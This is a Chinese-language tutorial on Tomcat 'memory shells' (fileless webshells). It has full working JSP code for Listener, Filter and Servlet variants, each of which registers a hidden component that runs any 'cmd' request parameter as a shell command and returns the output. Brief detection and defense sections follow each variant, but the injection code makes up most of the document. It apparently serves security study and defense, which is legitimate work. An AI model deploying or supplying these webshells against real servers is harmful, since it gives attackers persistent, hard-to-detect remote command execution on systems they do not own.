tomcat内存马分析
字数 2159 2025-08-22 18:37:22
Tomcat内存马分析与防御指南
一、前置知识
1.1 Tomcat核心组件
在Tomcat中,客户端请求会依次经过以下组件处理:
- Listener:监听器,用于监听ServletContext、HttpSession和ServletRequest等对象的生命周期事件
- Filter:过滤器,用于对请求和响应进行预处理和后处理
- Servlet:服务端小程序,用于处理具体的业务逻辑
1.2 内存马类型
内存马主要分为两大类:
-
servlet-api型:
- 通过命令执行动态注册新的Listener、Filter或Servlet
- 包括:Listener型、Filter型、Servlet型内存马
-
字节码增强型:
- 通过Java的instrumentation动态修改已有代码
- 包括:Spring类、Controller型、Agent型等
二、Listener型内存马
2.1 原理分析
Listener内存马通过向StandardContext的applicationEventListenersList中添加恶意监听器实现。每次请求时,Tomcat会调用监听器的requestInitialized和requestDestroyed方法。
2.2 实现步骤
- 获取StandardContext对象
- 创建恶意ServletRequestListener实现类
- 通过
addApplicationEventListener方法添加监听器
2.3 示例代码
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 获取standardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
HttpServletResponse resp = request1.getResponse();
if(req.getParameter("cmd") != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if(osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")}
: new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext() ? s.next() : "";
resp.getWriter().write(out);
resp.getWriter().flush();
} catch(IOException ioe){
ioe.printStackTrace();
}
}
}
};
standardContext.addApplicationEventListener(listener);
out.println("inject done!");
out.flush();
%>
2.4 检测与防御
检测方法:
- 使用
sc *.Servlet命令扫描可疑Servlet - 反编译JSP文件:
jad org.apache.jsp.listen_005fma_jsp - 内存dump分析关键字
防御措施:
- 监控
addApplicationEventListener调用 - 限制JSP上传和执行权限
三、Filter型内存马
3.1 核心组件
Tomcat中Filter相关的重要组件:
- FilterDefs:FilterDef数组,存放过滤器名和实例
- FilterConfigs:FilterConfig数组,存放FilterDef和Filter对象
- FilterMaps:FilterMap数组,存放FilterName和对应的URLPattern
3.2 实现原理
- 创建恶意Filter类
- 使用FilterDef封装Filter
- 将FilterDef放入FilterDefs和FilterConfigs
- 创建FilterMap并添加到FilterMaps
- Tomcat处理请求时会匹配FilterMaps并执行相应Filter
3.3 实现步骤
- 获取StandardContext对象
- 创建恶意Filter实现类
- 创建FilterDef并设置相关属性
- 创建ApplicationFilterConfig
- 将FilterConfig添加到filterConfigs Map
- 创建FilterMap并设置URL模式和Filter名
- 将FilterMap添加到StandardContext
3.4 示例代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 获取ApplicationContext(ServletContext)
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
// 获取ApplicationContext中的StandardContext
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
// 获取ServletContext
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
// 获取StandardContext
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws ServletException, IOException {
if(request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if(osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")}
: new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {}
};
// 设置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("cmdFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 利用ApplicationFilterConfig传入filterDef设置filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 设置filterConfigs,存放filterConfig
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("cmdFilter", filterConfig);
// 设置filterMap(设置拦截的filter和路由)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("cmdFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("Inject done");
%>
3.5 检测与防御
检测方法:
- 使用Arthas工具:
mbean | grep "name=/" - 扫描可疑Filter:
sc *.Filter - 反编译JSP文件:
jad org.apache.jsp.servlet_005fma_jsp$1 - 内存dump分析:
strings heapdump.hprof | grep "GET "
防御措施:
- 监控StandardContext的修改操作
- 限制动态Filter注册
- 使用安全产品监控异常Filter
四、Servlet型内存马
4.1 实现原理
- 获取StandardContext对象
- 创建Wrapper并设置Servlet相关信息
- 将Wrapper添加到StandardContext的children
- 添加Servlet映射
4.2 实现步骤
- 获取StandardContext对象
- 创建恶意Servlet实现类
- 通过StandardContext创建Wrapper
- 设置Wrapper的name、servletClass等属性
- 将Wrapper添加到StandardContext
- 添加Servlet映射
4.3 示例代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
class S implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public ServletConfig getServletConfig() { return null; }
@Override
public void service(ServletRequest req, ServletResponse res)
throws ServletException, IOException {
if(request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if(osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")}
: new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public String getServletInfo() { return null; }
@Override
public void destroy() {}
}
%>
<%
// 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
S servlet = new S();
String name = servlet.getClass().getSimpleName();
Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/servletmama", name);
out.println("inject success");
%>
4.4 检测与防御
检测方法:
- 检查可疑的Servlet映射
- 扫描非标准Servlet类
- 分析内存中的可疑字符串
防御措施:
- 监控Servlet动态注册
- 限制StandardContext的修改
- 使用安全产品监控异常Servlet
五、综合防御方案
-
代码层面:
- 禁用动态注册Servlet/Filter/Listener的功能
- 对反射调用进行安全限制
-
配置层面:
- 限制JSP上传和执行权限
- 配置Tomcat安全策略
-
监控层面:
- 部署RASP(运行时应用自我保护)
- 使用内存马检测工具定期扫描
-
应急响应:
- 掌握内存dump分析方法
- 准备安全恢复预案
-
工具推荐:
- Java内存马扫描器:java-memshell-scanner
- 分析工具:Arthas、MAT(Memory Analyzer Tool)